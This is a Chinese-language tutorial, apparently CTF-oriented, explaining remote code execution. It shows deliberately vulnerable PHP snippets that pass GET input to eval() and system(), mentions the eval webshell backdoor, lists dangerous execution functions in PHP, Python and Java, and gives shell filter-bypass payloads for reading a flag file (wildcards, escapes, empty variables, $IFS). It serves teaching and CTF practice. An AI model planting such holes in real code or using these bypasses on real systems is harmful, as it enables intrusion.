目录
一、什么是 RCE
RCE,全称 Remote Code Execution,也就是远程代码执行。简单来说,它是一种非常危险的安全漏洞。正常情况下,我们访问一个网站或者使用某个应用程序,只能按照开发者设定好的功能来操作。但要是存在 RCE 漏洞,攻击者就能打破这种限制,在目标服务器上执行他们自己编写的代码。
二、命令执行和代码执行
命令执行和代码执行都是 RCE 漏洞的表现形式。代码执行和命令执行有点像,但又不完全一样。命令执行主要是执行操作系统的命令,而代码执行则是可以执行各种编程语言编写的代码。
通过简单的案例描述两者区别,假设如下代码,接受一个参数c,没任何的过滤,且使用代码执行函数执行接收的参数c,只要控制参数c传入恶意代码,就产生了代码执行的漏洞
<?php
$code = $_GET['c'];
eval($code);
同样的假设如下代码,接受一个参数c,没任何的过滤,且使用命令执行函数执行接收的参数c,只要控制参数c传入恶意代码,就产生了代码执行的漏洞
<?php
$cmd = $_GET['c'];
system($cmd);
命令执行和代码执行是可以相互利用的,即执行命令去执行代码,执行代码去执行命令都是可以的
在命令行通过php环境变量执行代码
回到 第一个小例子,可以通过代码执行去操作cmd,其实想后门文件经常看到就是这种eval的命令执行后门
<?php
$code = $_GET['c'];
eval($code);
c参数传如命令执行的代码system
三、常见的代码/命令执行函数
3.1 PHP
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
3.2 Python
eval exec subprocess os.system commands
3.3 Java
Runtime.exec()
方法,ProcessBuilder
类
还有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
四、RCE利用&绕过&异或&回显
4.1 关键字过滤(flag)绕过方法
4.1.1 通配符绕过
通配符可以匹配一个或多个字符,借此绕过关键字过滤。
cat fl* # 匹配以 "fl" 开头的文件(如 flag、fl.txt)
cat ?la* # "?" 匹配单个字符(如 f?ag → flag)
-
Shell通配符规则:
-
*
:匹配任意长度字符串(包括空)。 -
?
:匹配单个字符。
-
-
适用场景:
已知文件名前缀(如fl
),但不确定完整名称时。
字符过滤,如过滤flag
4.1.2 转义符号绕过
利用转义符号让系统将敏感关键字的部分字符当作普通字符处理,从而绕过过滤。
ca\t /fl\ag # 实际执行 cat /flag
Shell解析机制:
-
反斜杠
\
在Shell中有两种作用:-
转义特殊字符:如
\$
转义为$
,\
转义空格。 -
普通字符:若
\
后跟随非特殊字符(如t
、a
),则\
被直接忽略。
-
-
验证命令:
echo ca\t /fl\ag # 输出:cat /flag
关键细节:
-
\t
的误解:
在Shell命令行中,\t
不会被解析为Tab字符(除非使用echo -e
或编程语言处理)。
例如:echo -e "ca\t /fl\ag" # 输出:ca /flag(含Tab)
路径中的
/
:
/
是路径分隔符,不会被转义。若命令中写成/fl\ag
,实际路径仍为/flag
(\
被忽略)。
cat fl''ag # 单引号拼接(fl''ag → flag)
fl''ag
被Shell解析为flag
(单引号内无操作)。
4.1.3 空变量插入绕过
ca$*t fl$*ag # 等价于 cat flag($* 为空)
ca$@t f${x}lag # 等价于 cat flag($@ 或 ${x} 为空)
-
变量替换规则:
-
$*
和$@
表示所有位置参数,若未定义则为空。 -
${x}
表示变量x
的值,若未定义则为空。
-
-
绕过逻辑:
通过插入空变量将敏感关键字(如cat
)拆分为ca
+t
,绕过正则检测(如/\bcat\b/
)。
4.1.4 分号拼接变量
a=fl;b=ag;cat$IFS$a$b # 实际执行 cat flag
-
关键点:
-
$IFS
:Shell内部字段分隔符,默认为空格(可绕过空格过滤)。 -
分号
;
分隔多个命令,$a$b
拼接为flag
。
-
-
变体:
a=c;b=at;c=fl;d=ag;$a$b $IFS$c$d # 执行 cat flag